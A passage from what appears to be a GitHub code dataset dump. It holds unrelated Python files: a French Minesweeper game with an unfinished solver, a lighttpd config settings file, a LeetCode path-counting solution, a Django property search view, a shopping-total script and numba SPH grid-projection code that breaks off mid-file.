ActualiserUneCaseAutourDUneBombe(case,-LargeurGrille+1)\r\n        ActualiserUneCaseAutourDUneBombe(case,-LargeurGrille)\r\n        \r\ndef DetectBombe():\r\n    \r\n#Fonction déterminant le nombre de bombes adjacentes (en appelant les fonctions précédentes)\r\n    \r\n    global NBBOMBES\r\n    \r\n    for loop in range(NBBOMBES):\r\n        \r\n        Bombe = Bse_Bombe[loop]\r\n        \r\n        if Bse_Bombe[loop] in LINEDOWN:\r\n            lineDown(loop, Bombe)\r\n        elif Bse_Bombe[loop] in LINEUP:\r\n            lineUp(loop, Bombe)\r\n        elif Bse_Bombe[loop] in LINERIGHT:\r\n            columnRight(loop,Bombe)\r\n        elif Bse_Bombe[loop] in LINELEFT:\r\n            columnLeft(loop,Bombe)\r\n        elif Bse_Bombe[loop] == CORNERRIGHTU:\r\n            cornerRightU(loop, Bombe)\r\n        elif Bse_Bombe[loop] == CORNERLEFTD:\r\n            cornerLeftD(loop,Bombe)\r\n        elif Bse_Bombe[loop] == CORNERRIGHTD:\r\n            cornerRightD(loop,Bombe)\r\n        elif Bse_Bombe[loop] == CORNERLEFTU:\r\n            cornerLeftU(loop,Bombe)\r\n        else:\r\n            ActualiserUneCaseAutourDUneBombe(Bombe,+1)\r\n            ActualiserUneCaseAutourDUneBombe(Bombe,-1)\r\n            ActualiserUneCaseAutourDUneBombe(Bombe,+LargeurGrille)\r\n            ActualiserUneCaseAutourDUneBombe(Bombe,-LargeurGrille)\r\n            ActualiserUneCaseAutourDUneBombe(Bombe,-LargeurGrille-1)\r\n            ActualiserUneCaseAutourDUneBombe(Bombe,+LargeurGrille+1)\r\n            ActualiserUneCaseAutourDUneBombe(Bombe,-LargeurGrille+1)\r\n            ActualiserUneCaseAutourDUneBombe(Bombe,+LargeurGrille-1)\r\n            \r\ndef ActualiseAll():\r\n    \r\n#Fonction actualisant les cases\r\n    \r\n    for loop in range(LargeurGrille*LargeurGrille):\r\n        Bse_Case[loop].config(text=Bse_donnee[loop].type)\r\n        \r\ndef firstcase(x):\r\n    #Foncrion révélant plusieurs cases lorsque l'on clique sur une case pour la première fois.\r\n    global CasesRévélées\r\n    ListeOrientation = [1,-1,10,-10,9,-9,11,-11]\r\n    if CasesRévélées == 0:\r\n        listeRayons = [0]*8\r\n        \r\n        T = ((LargeurGrille-5)//3)\r\n        \r\n        Compteur = x\r\n        ListeOrientation[6]\r\n            \r\n        for loop in range(8):\r\n            Rayon = randint(1, T+1)\r\n            for pool in range(Rayon):\r\n                if Bse_donnee[x + pool*ListeOrientation[loop]].type == \"Bombe\":\r\n                    pass\r\n                else:\r\n                    ClicCase(x + pool*ListeOrientation[loop])\r\n                    print(\"pool : \",pool)\r\n                    print(\"Rayon : \",Rayon)\r\n                    print(ListeOrientation[loop])\r\n                    print(\"fin\")\r\n        \r\ndef ClicCase(x):\r\n    print(\"Case cliquée : \", x)\r\n    \r\n    \r\n#Fonction réalisant une action lorsque l'on clique sur une case\r\n    global CasesRévélées\r\n    global statut\r\n    global Dico\r\n    global ListeDrapeau\r\n    print(CasesRévélées)\r\n    if ValeurDrapeau == 0:\r\n        \r\n    #Cas où la pose de drapeau est désactivée, donc lorsque l'on veut dévoiler une case     \r\n\r\n        if Bse_Case_Drapeau[x] == 0:\r\n            \r\n        #Cas où il n'y a pas de drapeau posé sur la case    \r\n            NbBombesAdjacentesPossibles = 0\r\n            if Bse_donnee[x].type == \"Bombe\":\r\n                for k in range(LargeurGrille*LargeurGrille):\r\n                    if k in Bse_Bombe:\r\n                        if Bse_Case_Drapeau[k] == 1:\r\n                            Bse_Case[k].config(image = ImageDrapeauVrai, state = \"disabled\")\r\n                        else:\r\n                            Bse_Case[k].config(image = ImageBombe, state = \"disabled\")\r\n                    if Bse_Case_Drapeau[k] == 1:\r\n                        if k not in Bse_Bombe:\r\n                            Bse_Case[k].config(image = ImageDrapeauFaux, state = \"disabled\")\r\n                Bse_Case[x].config(image = ImageBombeFaux, state = \"disabled\")\r\n                Perdu = showwarning(\"Fin du game\", message = \"Vous avez perdu\", default = \"ok\")\r\n                statut = \"lose\"\r\n            else:\r\n                while NbBombesAdjacentesPossibles != Bse_donnee[x].type:\r\n                    NbBombesAdjacentesPossibles += 1\r\n                if Bse_donnee[x].etat == \"révélée\":\r\n                    pass\r\n                else:\r\n                    Bse_Case[x].config(image = ImagesNuméros[NbBombesAdjacentesPossibles], state = \"disabled\")\r\n                    CasesRévélées += 1\r\n                    Bse_donnee[x].etat = \"révélée\"\r\n                    ListeCasesRévélées.append(x)\r\n                    Dico[x] = Bse_donnee[x].type #inutile, une liste fonctionne mieux.\r\n                    if Bse_donnee[x].type == 0:\r\n                        \r\n                        Liste = (itemgetter(*[idx for idx,e in enumerate(list(Dico.values())) if e == 0])(list(Dico.keys())))\r\n                    else:\r\n                        pass\r\n                    \r\n                    \r\n    \r\n    if ValeurDrapeau == 1:\r\n        if Bse_Case_Drapeau[x] == 0:\r\n            Bse_Case[x].config(image = ImageDrapeau)\r\n            Bse_Case_Drapeau[x] = 1\r\n            Bse_donnee[x].etat == \"Drapeau\"\r\n            ListeDrapeau.append(x)\r\n        elif Bse_Case_Drapeau[x] ==1:\r\n            Bse_Case[x].config(image = ImageBlanc)\r\n            Bse_Case_Drapeau[x] = 0\r\n            Bse_donnee[x].etat == \"caché\"\r\n            del ListeDrapeau[ListeDrapeau.index(x)]\r\n            \r\n    \r\n    if CasesRévélées + NBBOMBES == LargeurGrille*LargeurGrille:\r\n        for k in range(LargeurGrille*LargeurGrille):\r\n            if Bse_Case_Drapeau[k] == 1:\r\n                    Bse_Case[k].config(image = ImageDrapeauVrai, state = \"disabled\")\r\n        Gagné = showinfo(\"Fin du game\", message = \"Vous avez gagné\", default = \"ok\")\r\n        statut = \"win\"\r\ndef fonction(x):\r\n    firstcase(x)\r\n    ClicCase(x)\r\n'''def TriDico():\r\n    sorted(Dico.items(), Type=lambda t: t[1])\r\n    DicoTrie = OrderedDict(sorted(Dico.items(), Type=lambda t: t[0]))\r\n'''\r\ndef ClicDrapeau():\r\n    \r\n#Fonction permettant d'activer/désactiver la pose de drapeau\r\n    \r\n    global ValeurDrapeau\r\n    if ValeurDrapeau == 0:\r\n        IndicateurDrapeau.config(image = ImageVert)\r\n        ValeurDrapeau = 1\r\n    else:\r\n        IndicateurDrapeau.config(image = ImageRouge)\r\n        ValeurDrapeau = 0\r\ndef VerificationEtat(ValeurAAjouter):\r\n    #On vérifie si la case est un drapeau pour éviter de cliquer dessus une nouvelle fois.\r\n    global Numero\r\n    global Liste\r\n    global ListeZérosT\r\n    print(VerificationEtat)\r\n    print(Bse_donnee[Liste[VariableLoop]])\r\n    if len(Liste) == 0:\r\n        Liste = (itemgetter(*[idx for idx,e in enumerate(list(Dico.values())) if e == 0])(list(Dico.keys())))\r\n    #Cette condition est nécéssaire car si il y a qu'une case vide de révélée alors il Liste est une variable et non une liste.            \r\n    elif Bse_donnee[Liste[VariableLoop]] in ListeCasesRévélées:\r\n        NombreDeZérosDévoilée -=1\r\n    else:\r\n        if Bse_donnee[Liste[Numero]+ValeurAAjouter].etat == \"Drapeau\":\r\n            pass\r\n        else:\r\n            ClicCase(Liste[Numero]+ValeurAAjouter)\r\n            Liste = (itemgetter(*[idx for idx,e in enumerate(list(Dico.values())) if e == 0])(list(Dico.keys())))\r\n    \r\n            \r\n\r\n\r\ndef AutomatisationResolveur(Boucle, ValeursPoss):\r\n    global Numero\r\n    global NombreDeZérosDévoilée\r\n    for loop in range(Boucle):\r\n        VerificationEtat(ValeursPoss[loop])\r\n    NombreDeZérosDévoilée +=1\r\n    print(\"NombreDeZérosDévoilée : \",NombreDeZérosDévoilée)\r\n    Numero += 1\r\n        \r\ndef near(case, cmd1, cmd2, cmd3, cmd4, cmd5, cmd6,cmd7 ,cmd8,cmd9):\r\n    if case in LINEDOWN:\r\n        cmd1\r\n    elif case in LINEUP:\r\n        cmd2\r\n    elif case in LINERIGHT:\r\n        cmd3\r\n    elif case in LINELEFT:\r\n        cmd4\r\n    elif case == CORNERRIGHTU:\r\n        cmd5\r\n    elif case == CORNERLEFTD:\r\n        cmd6\r\n    elif case == CORNERRIGHTD:\r\n        cmd7\r\n    elif case == CORNERLEFTU:\r\n        cmd8\r\n    else:\r\n        cmd9\r\n        \r\n            \r\n            \r\n    \r\ndef Resolve():\r\n    global NombreDeZérosDévoilée\r\n    global Liste\r\n    global LineUp\r\n    global ListeZerosRévélés\r\n    loop = 0\r\n    global NombreDeZérosTraités\r\n    global statut\r\n    #Etape 1: Si aucune case n'a été activé: en activer une.\r\n    if not Dico:\r\n        firstcase(randint(0,99))#On clique sur une case aléatoire\r\n    else:\r\n        VariableLoop = 0\r\n        if not Liste:\r\n            #On actualise la liste des valeurs cliqué. Problème : on est dans une fonction\r\n            Liste = (itemgetter(*[idx for idx,e in enumerate(list(Dico.values())) if e == 0])(list(Dico.keys())))\r\n        \r\n        while NombreDeZérosDévoilée != len(Liste):\r\n            NombreDeZérosTraités += 1\r\n        \r\n            \r\n            if Liste[loop] in LINEUP:\r\n                \r\n                if Dico[Liste[loop]] == 0:\r\n                    AutomatisationResolveur(5, ValeursPossibles1)\r\n                    \r\n                    \r\n            elif Liste[loop] in LINEDOWN:\r\n                if Dico[Liste[loop]] == 0:\r\n                    AutomatisationResolveur(5, ValeursPossibles2)\r\n                    \r\n                    \r\n                    \r\n            elif Liste[loop] in LINERIGHT:\r\n                if Dico[Liste[loop]] == 0:\r\n                    AutomatisationResolveur(5, ValeursPossibles3)\r\n                    #Erreur ici\r\n            elif Liste[loop] in LINELEFT:\r\n                if Dico[Liste[loop]] == 0:\r\n                    AutomatisationResolveur(5, ValeursPossibles4)\r\n                    \r\n            elif Liste[loop] == CORNERLEFTD:\r\n                \r\n                if Dico[Liste[loop]] == 0:\r\n                    AutomatisationResolveur(3, ValeursPossibles5)\r\n                    \r\n                    \r\n            elif Liste[loop] == CORNERLEFTU:\r\n                if Dico[Liste[loop]] == 0:\r\n                    AutomatisationResolveur(3, ValeursPossibles6)\r\n                    \r\n            elif Liste[loop] == CORNERRIGHTD:\r\n                if Dico[Liste[loop]] == 0:\r\n                    AutomatisationResolveur(3, ValeursPossibles8)\r\n                    \r\n            elif Liste[loop] == CORNERRIGHTU:\r\n                if Dico[Liste[loop]] == 0:\r\n                    AutomatisationResolveur(3, ValeursPossibles7)\r\n                    \r\n            else:\r\n                if Dico[Liste[loop]] == 0:\r\n                    AutomatisationResolveur(8, ValeursPossibles)          \r\n            if statut == \"lose\":\r\n                Bse_Case[Liste[loop]].config(image = ImageVert)\r\n                break\r\n            elif loop == len(Liste):\r\n                break\r\n            else:\r\n                pass\r\n            loop +=1\r\n            \r\n            print(\"NombreDeZérosTraités: \", NombreDeZérosTraités)\r\n            print(loop)\r\n             \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef VerifiDrapEtat(Etat, NumeroCase, x, y):\r\n    if Bse_donnee[NumeroCase].compteur in LINEUP:\r\n        pass\r\n    if Bse_donnee[NumeroCase].compteur in LINEDOWN:\r\n        pass\r\n    if Bse_donnee[NumeroCase].compteur in LINERIGHT:\r\n        pass\r\n    if Bse_donnee[NumeroCase].compteur in LINELEFT:\r\n        pass\r\n    if Bse_donnee[NumeroCase].compteur == 99:\r\n        pass\r\n    if Bse_donnee[NumeroCase].compteur == 0:\r\n        pass\r\n    if Bse_donnee[NumeroCase].compteur == 9:\r\n        pass\r\n    if Bse_donnee[NumeroCase].compteur == 90:\r\n        pass\r\n    else:\r\n        if (Bse_donnee[NumeroCase+x].type != 0 and Bse_Case_Drapeau[NumeroCase+x] == 0)and (Bse_donnee[NumeroCase+y].type != 0 and Bse_Case_Drapeau[NumeroCase+y] == 0):\r\n            if Bse_donnee[NumeroCase+x].etat == Etat and Bse_donnee[NumeroCase+x].etat == Etat:\r\n                    \r\n                return True\r\n        else:\r\n            return False\r\n\r\n\r\nm = 0\r\ndef Drap(ValeursPoss, posDrap):\r\n    for element in ValeursPoss:\r\n        if Bse_donnee[posDrap + element].type == 1:\r\n            for i in ValeursPoss :\r\n                ClicCase(Bse_donnee[posDrap + element + i].compteur)\r\nListe1 = []\r\n    \r\ndef VerifDrapeau():\r\n    for boucle in ListeDrapeau:\r\n        near(boucle, Drap(ValeursPossibles2, boucle), Drap(ValeursPossibles1, boucle), Drap(ValeursPossibles4, boucle),Drap(ValeursPossibles3, boucle) , Drap(ValeursPossibles5, boucle), Drap(ValeursPossibles6, boucle),Drap(ValeursPossibles7, boucle) ,Drap(ValeursPossibles8, boucle),Drap(ValeursPossibles, boucle))\r\ndef CornExtend():\r\n    for l in range(len(ListeDrapeau)):\r\n        for loop in ValeursPossibles:\r\n            VerifCoin(LINEUP, ValeursPossibles1, loop)\r\n            VerifCoin(LINEDOWN, ValeursPossibles2, loop)\r\n            VerifCoin(LINERIGHT, ValeursPossibles3, loop)\r\n            VerifCoin(LINELEFT, ValeursPossibles4, loop)\r\n            \r\n            \r\n                        \r\n    \r\n        \r\ndef Coin(a,b,c,d,e,f,g,h):\r\n    global Liste\r\n    global Bse_donnee\r\n    #On supprime toute les cases traités par le programme précédemment.\r\n\r\n    #Maintenant on va demander au programme de reconnaître les paternes en formes de coins dans lesquels nous sommes sûr qu'il y a une bombe au boût avec un coin avec une valeur de 1.\r\n        #On crée une nouvelle liste avec tout les cases avec la valeur 1 de révélée.\r\n    Liste1 = (itemgetter(*[idx for idx,e in enumerate(list(Dico.values())) if e == 1])(list(Dico.keys())))\r\n    for NumeroCase in Liste1:\r\n        \r\n        ev = a\r\n        eb = b\r\n        print(\"NumeroCase : \", NumeroCase, )\r\n        #if NumeroCase in LINEUP == False and NumeroCase in LINELEFT == False and NumeroCase in LINERIGHT == False and NumeroCase in LINEDOWN == False and NumeroCase != 0 and NumeroCase != 90 and NumeroCase != 9 and NumeroCase != 99:\r\n        if VerifiDrapEtat(\"révélée\",NumeroCase, ev, eb) == True :\r\n            if Bse_donnee[NumeroCase+c].etat != \"caché\" and Bse_donnee[NumeroCase + d].etat != \"caché\" and Bse_donnee[NumeroCase+e].etat != \"caché\" and Bse_donnee[NumeroCase+f].etat != \"caché\" and Bse_donnee[NumeroCase+g].etat != \"caché\":\r\n                if Bse_donnee[NumeroCase+h].etat == \"Drapeau\":\r\n                    pass\r\n                    \r\n                elif Bse_donnee[NumeroCase+h].etat == \"caché\":\r\n                        \r\n                    ClicDrapeau()\r\n                    ClicCase(NumeroCase+h)\r\n                    #Bse_Case[NumeroCase+h].config(image = ImageVert)\r\n                    ClicDrapeau()\r\n                    print(NumeroCase, \"Sucess\")\r\n                    Bse_Case[NumeroCase].config(image = ImageVert)\r\n            else:\r\n                print(\"Erreur 1\")\r\n        else:\r\n            print(\"Erreur 2\")\r\n                   \r\ndef ResolveCoin():\r\n    Coin(10,1,-1,+9,-11,-10,-9,+11)#Coin Haut Gauche\r\n    \r\n    Coin(-10, -1,+1,+11,+11,+10,+9,-9)#Coin Bas Droite\r\n    Coin(-10,+1,-1,-11,+9,+10,+11,-9)#Coin Bas Gauche\r\n    Coin(+10,-1,+1,+11,-9,-10,-11,+9)#Coin Haut Droite        \r\n            \r\nNumero = 0                     \r\nListeZérosT = []           \r\nNombreDeZérosTraités = 0\r\n\r\nListeCasesRévélées = [] \r\nVariableLoop = 0\r\n    #Fonction résolvant le démineur; Le dioctionnaire sert ici.\r\nValeursPossibles = [1,-1,10,-10,11,-11,9,-9]\r\nValeursPossibles1 = [1,-1,10,9,11] #LineUp\r\nValeursPossibles2 = [1,-1,-10,-9,-11]#LineDown\r\nValeursPossibles3 = [-1,10,-10,9,-11]#Right\r\nValeursPossibles4 = [1,10,-10,-9,11]\r\nValeursPossibles5 = [1,-10,-9]\r\nValeursPossibles6 = [1,10,11]\r\nValeursPossibles7 = [-1,10,9]\r\nValeursPossibles8 = [-1,10,-11]\r\n\r\n\r\n\r\nNombreDeZérosDévoilée = 0        \r\nListe = []\r\nListeDrapeau = []\r\n\r\n#-------------------------------------------------------------------------------------------------------------\r\n#-------------------------------------------------------------------------------------------------------------\r\n#-------------------------------------------------------------------------------------------------------------\r\nTableauDémineur = Tk()\r\nTableauDémineur.title(\"Démineur - Aristide, Matéo et Raphaël - ISN 2018-2019\")\r\n#\r\nDico = {}\r\n#Largeur de la grille\r\nLargeurGrille = 10\r\n\r\n#Nombre de Bombes sur la grille\r\nNBBOMBES = 10\r\n\r\n#Bse_donne contient les informations des cases\r\nBse_donnee = [0]*LargeurGrille*LargeurGrille\r\n\r\n#Bse_Case contient les boutons (cases)\r\nBse_Case = [0]*LargeurGrille*LargeurGrille\r\n\r\n#Bse_Bombe contient les numéros des cases où les bombes sont situées\r\nBse_Bombe = []*NBBOMBES\r\n\r\n#Bse_Case_Drapeau contient l'information de la présence d'un drapeau ou non sur une case\r\nBse_Case_Drapeau = [0]*LargeurGrille*LargeurGrille\r\n\r\n#Nombre de cases révélées (pour savoir où l'on en est dans la partie\r\nCasesRévélées = 0\r\n\r\n#Si la valeur du drapeau est 0, alors le drapeau n'est pas activé (Rouge). Si c'est 0, alors il est activé (Vert).\r\n\r\nValeurDrapeau = 0\r\n#Partie Gaganée ou Perdue \r\nstatut = \"\"\r\n\r\n\r\n#Listes endroits spécifiques (côtés et coins)\r\nLINEUP = []\r\nfor k in range(LargeurGrille - 2):\r\n    LINEUP.append(1 + k)\r\n    \r\nLINELEFT = []\r\n\r\nfor k in range(LargeurGrille - 2):\r\n    LINELEFT.append((LargeurGrille * k) + LargeurGrille)\r\n    \r\nLINERIGHT = []\r\nfor k in range(LargeurGrille - 2):\r\n    LINERIGHT.append((LargeurGrille * k) + ((LargeurGrille*2) - 1))\r\n    \r\nLINEDOWN = []\r\nfor k in range(LargeurGrille - 2):\r\n    LINEDOWN.append((LargeurGrille * LargeurGrille) - LargeurGrille + 1 + k)\r\n\r\nCORNERRIGHTU = LargeurGrille - 1\r\nCORNERLEFTU = 0\r\nCORNERRIGHTD = (LargeurGrille * LargeurGrille) - 1\r\nCORNERLEFTD = (LargeurGrille * LargeurGrille) - LargeurGrille\r\n\r\n#Création des images\r\n\r\nImageBlanc = PhotoImage(file=\"ImageBlanc.png\")\r\nImageDrapeau = PhotoImage(file=\"ImageDrapeau.png\")\r\nImageDrapeauVrai = PhotoImage(file=\"ImageDrapeauVrai.png\")\r\nImageDrapeauFaux = PhotoImage(file=\"ImageDrapeauFaux.png\")\r\nImageVert = PhotoImage(file=\"Vert.png\")\r\nImageRouge = PhotoImage(file=\"Rouge.png\")\r\nImageBombe = PhotoImage(file=\"ImageBombe.png\")\r\nImageBombeFaux = PhotoImage(file=\"ImageBombeFaux.png\")\r\nImagesNuméros = [0]*9\r\nImagesNuméros[0] = PhotoImage(file=\"Pic0.png\")\r\nImagesNuméros[1] = PhotoImage(file=\"Pic1.png\")\r\nImagesNuméros[2] = PhotoImage(file=\"Pic2.png\")\r\nImagesNuméros[3] = PhotoImage(file=\"Pic3.png\")\r\nImagesNuméros[4] = PhotoImage(file=\"Pic4.png\")\r\nImagesNuméros[5] = PhotoImage(file=\"Pic5.png\")\r\nImagesNuméros[6] = PhotoImage(file=\"Pic6.png\")\r\nImagesNuméros[7] = PhotoImage(file=\"Pic7.png\")\r\nImagesNuméros[8] = PhotoImage(file=\"Pic8.png\")   \r\n\r\n#Génération du tableau\r\ndef Start():\r\n    Compteur = 0\r\n\r\n    for ligne in range(LargeurGrille):\r\n        for colonne in range(LargeurGrille):\r\n             \r\n            Bse_donnee[Compteur] = Case(Compteur, colonne, ligne, 0)\r\n            Bse_Case[Compteur] = Button(TableauDémineur, image = ImageBlanc, state = \"active\", command = lambda Compteur=Compteur:fonction(Bse_donnee[Compteur].compteur))\r\n            Bse_Case[Compteur].grid(row=ligne, column=colonne)\r\n            Compteur += 1\r\n    #Nombre de cases révélées (pour savoir où l'on en est dans la partie\r\n    CasesRévélées = 0\r\n\r\n    #Si la valeur du drapeau est 0, alors le drapeau n'est pas activé (Rouge). Si c'est 0, alors il est activé (Vert).\r\n\r\n    ValeurDrapeau = 0\r\n    #Partie Gaganée ou Perdue \r\n    statut = \"\"\r\n    SETBOMBE(NBBOMBES)\r\n    DetectBombe()\r\nStart()\r\n\r\n\r\n\r\n#Génération du menu latéral droit\r\n\r\nBoutonDrapeau = Button(TableauDémineur, image = ImageDrapeau, command = ClicDrapeau)\r\nBoutonDrapeau.grid(row = 1, column = LargeurGrille)\r\nIndicateurDrapeau = Label(TableauDémineur, image = ImageRouge)\r\nIndicateurDrapeau.grid(row = 1, column = LargeurGrille + 1)\r\nResolveur = Button(TableauDémineur, text='Résoudre', command=Resolve)\r\nResolveur.grid(row = 3, column = LargeurGrille + 1 )\r\nSuite = Button(TableauDémineur, text='Coins', command=ResolveCoin)\r\nSuite.grid(row = 5, column = LargeurGrille + 1 )\r\n\r\n","repo_name":"lasource2019/D-mineur","sub_path":"Resolveur bugué non fini sans explications.py","file_name":"Resolveur bugué non fini sans explications.py","file_ext":"py","file_size_in_byte":23884,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20687117591","text":"#!/usr/bin/env python\n\"\"\"\nthis is the settings file for the lighttpd config generator\n\"\"\"\n\n#required settings\nBASE_PATH='/opt/dp'\nDOMAIN='example.com'\n\nADMIN_MEDIA_PATH=\"/usr/share/pyshared/django/contrib/admin/media\"\n\n#per-project settings\nEXTRA_CONFIG={\n    'my_django_project':{\n        'domain':r'^(www\\.)?awesomeproject.com$'\n    },\n    'other_project':{\n    }\n}\n","repo_name":"brainrake/django-lighttpd-fcgi-helper","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"73320776742","text":"from typing import List\nfrom collections import deque\n\n\nclass Solution:\n    def uniquePathsIII(self, grid: List[List[int]]) -> int:\n\n        row_n, col_n = len(grid), len(grid[0])\n        to_check, results = list(), list()\n        starting, ending = list(), tuple()\n        directions = [(1, 0), (0, 1), (-1, 0), (0, -1)]\n        for x in range(row_n):\n            for y in range(col_n):\n                if grid[x][y] == 0:\n                    to_check.append((x, y))\n                elif grid[x][y] == 1:\n                    starting = [(x, y)]\n                elif grid[x][y] == 2:\n                    ending = (x, y)\n\n        walk_length = len(to_check) + 1\n\n        def search(visited=None):\n            if visited is None:\n                visited = starting\n            x, y = visited[-1]\n\n            for dx, dy in directions:\n                nx, ny = x+dx, y+dy\n                if (nx, ny) in to_check and (nx, ny) not in visited:\n                    search(visited + [(nx, ny)])\n            if len(visited) == walk_length:\n                for dx, dy in directions:\n                    nx, ny = x + dx, y+dy\n                    if 0 <= nx < row_n and 0 <= ny < col_n and (nx, ny) == ending:\n                        results.append(visited)\n        search()\n        return len(results)\n\n\nif __name__ == \"__main__\":\n    ex = Solution()\n\n    assert ex.uniquePathsIII([[1, 0, 0, 0], [0, 0, 0, 0], [0, 0, 2, -1]]) == 2\n    assert ex.uniquePathsIII([[0, 1], [2, 0]]) == 0\n    assert ex.uniquePathsIII([[1, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 2]]) == 4\n    assert ex.uniquePathsIII([[1], [2]]) == 1\n    assert ex.uniquePathsIII(\n        [[1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 2, -1, 0, 0]]) == 2\n","repo_name":"gbrunofranco/leetcode","sub_path":"Python/980.py","file_name":"980.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16735445722","text":"from django.shortcuts import render_to_response\nfrom django.template.context import RequestContext\nfrom property.models import Property, City\nfrom realestate.settings import MEDIA_URL\n\ndef searchView(request):\n    pass\n\ndef searchResult(request):\n    if request.POST:\n        searchQ = request.POST.copy()\n        if request.POST['buyorlet'] == \"Rent\":\n            searchQ['buyorlet'] = \"LE\"\n    \n        results = Property.objects.filter(city_id__name__iexact=searchQ['search_term'])\n        results = results.filter(price__gte=searchQ['price_from']).filter(price__lte=searchQ['price_to'])\n        results = results.filter(rooms__gte=searchQ['no_of_rooms'])\n        \n        if searchQ['buyorlet'] == \"LE\":\n            results = results.filter(sale_type__iexact=searchQ['buyorlet'])\n        \n        return render_to_response(  'search/index.htm', \n                                    {'search_results' : results, \n                                     'media_url' : MEDIA_URL}, \n                                    context_instance=RequestContext(request)\n                                  )\n    else:\n        results = []\n        return render_to_response(  'search/index.htm', \n                                    {'search_results' : results, \n                                     'media_url' : MEDIA_URL},  \n                                    context_instance=RequestContext(request)\n                                  )","repo_name":"publicFunction/django-real-estate","sub_path":"search/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"35"}
{"seq_id":"36089261350","text":"total = 0\r\ncommand = \"y\"\r\nunexpectedChar = list()\r\nwhile True:\r\n    if command == \"y\":\r\n        jumlahBarang = int(input(\"Entrikan jumlah barang yang dibeli: \"))\r\n        hargaBarang = int(input(\"Entrikan harga satuan barang: \"))\r\n        total += jumlahBarang * hargaBarang\r\n    elif command == \"t\":\r\n        print(\"Total pembayaran: Rp\", \"{:,}\".format(total))\r\n        break\r\n    else:\r\n        unexpectedChar.append(command)\r\n    command = input(\"apakah ada lagi item barang yang akan dientrikan atau tidak?[y/t]\")\r\na = -1\r\nfor b in unexpectedChar:\r\n    for i in b:\r\n        a +=1\r\n        print(\"Karakter salah indeks ke\",str(a), \"adalah\", b)\r\n","repo_name":"snykk/The-Others","sub_path":"entrikanBarang.py","file_name":"entrikanBarang.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"id","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"3149931588","text":"\nimport numpy as np\nfrom numba import njit\n# import g3read_units as g3u\n\n\n###----- UNIT HANDLER -----###\nclass Uregexpr(object):\n    def __init__(self, expression):\n        self.expression = expression\n    def evaluate(self, ureg):\n        return ureg.parse_expression(self.expression)\n    def __str__(self):\n        return 'ureg '+self.expression\n\n# type of input paramters, Uregexpr means the input may be  a string like '1000. kpc'\ntypes={\n    \"CENTER_X\": Uregexpr,\n    \"CENTER_Y\": Uregexpr,\n    \"CENTER_Z\": Uregexpr,\n    \"IMG_XY_SIZE\": Uregexpr,\n    \"IMG_Z_SIZE\": Uregexpr,\n    \"IMG_SIZE\": int,\n\n    }\n\nxyz_keys = ['CENTER_X', 'CENTER_Y', 'CENTER_Z'] \n\ndef parse_ureg_expressions(kv, to_parse, ureg):\n    \"\"\"\n    Reads input values with units (e.g. '3000 kpc') and parses it in a  `pint` value).\n    Input values came from the config file and are passed in a dict `kv`.\n    `to_parse` is a dictionary that stores the type of the value of a given key (e.g. the number of pixels IMG_SIZE is `int`),\n    and `ureg` is a `pint` instance\n    \"\"\"  \n    res = {}\n    for k in to_parse:\n        res[k] = kv[k].evaluate(ureg)\n    return res\n\n\n\n###----- KERNELS -----###\n@njit\ndef WendlandC6_2D(u: float, h_inv: float):\n    \"\"\"\n    Evaluate the WendlandC6 spline at position u, where u:= x*h_inv, for a 2D projection.\n    Values correspond to 295 neighbours.\n    \"\"\"\n\n    norm2D = 78. / (7. * 3.1415926)\n\n    if u < 1.0:\n        n = norm2D * h_inv**2\n        u_m1 = (1.0 - u)\n        u_m1 = u_m1 * u_m1  # (1.0 - u)^2\n        u_m1 = u_m1 * u_m1  # (1.0 - u)^4\n        u_m1 = u_m1 * u_m1  # (1.0 - u)^8\n        u2 = u*u\n        return ( u_m1 * ( 1.0 + 8*u + 25*u2 + 32*u2*u )) * n\n    else:\n        return 0.\n\n\n###----- GRID -----###\n@njit\ndef calc_area_weights(dw: np.ndarray,\n                masked_x: np.ndarray, masked_y: np.ndarray, \n                masked_h: np.ndarray, kernel,\n                bin_min: int, delta_bin: float, n_bins: int):\n\n    N = len(masked_x)\n\n    tot_max_bin_spread = 0\n\n    for k in range(N):\n        xpx = (masked_x[k]-bin_min)/delta_bin #pos of x in terms of px (from 0 to n_bins-1)\n        ypx = (masked_y[k]-bin_min)/delta_bin #pos of y in terms of px\n        bin_i = int(xpx) #calculates distance in i-direction from minimum bin\n        bin_j = int(ypx) #calculates distance in j-direction\n        Hsml = masked_h[k]/delta_bin # in number of px\n        \n        max_bin_spread = int(Hsml)\n\n        tot_max_bin_spread+=max_bin_spread\n        distr_weight = 0.\n\n        for i in range(bin_i - max_bin_spread, bin_i + max_bin_spread + 1):\n            if i>=n_bins or i<0:\n                continue\n            for j in range(bin_j - max_bin_spread, bin_j + max_bin_spread + 1):\n                if j>=n_bins or j<0:\n                    continue\n                u = ( (i+.5-xpx)**2 + (j+.5-ypx)**2 )**.5 / Hsml # distance of particle to px center\n                if u > 1.0:\n                    continue\n                \n                dx = min(xpx + Hsml, i+1) - max(xpx-Hsml, i)\n                dy = min(ypx + Hsml, j+1) - max(ypx-Hsml, j)\n                dxdy = dx*dy # area of px\n\n                if Hsml < 1.:\n                    wk = dxdy\n                else:\n                    wk = kernel(u, 1./Hsml) * dxdy\n                \n                distr_weight += wk\n\n        dw[k] += distr_weight\n    if N>0:\n        return tot_max_bin_spread/N\n    else:\n        return np.nan\n\n@njit\ndef add_to_grid(final_image_t: np.ndarray, weight_image: np.ndarray,\n                masked_x: np.ndarray, masked_y: np.ndarray, \n                masked_h: np.ndarray, masked_w: np.ndarray, masked_q: np.ndarray, \n                dz: float, kernel, distr_weight: np.ndarray,\n                bin_min: int, delta_bin: float, n_bins: int):\n    \"\"\"\n    This routine adds a chunk of particles with sky positions `masked_x, masked_y`, \n    smoothing length  `masked_h,` and value `masked_w` (e.g. paticle 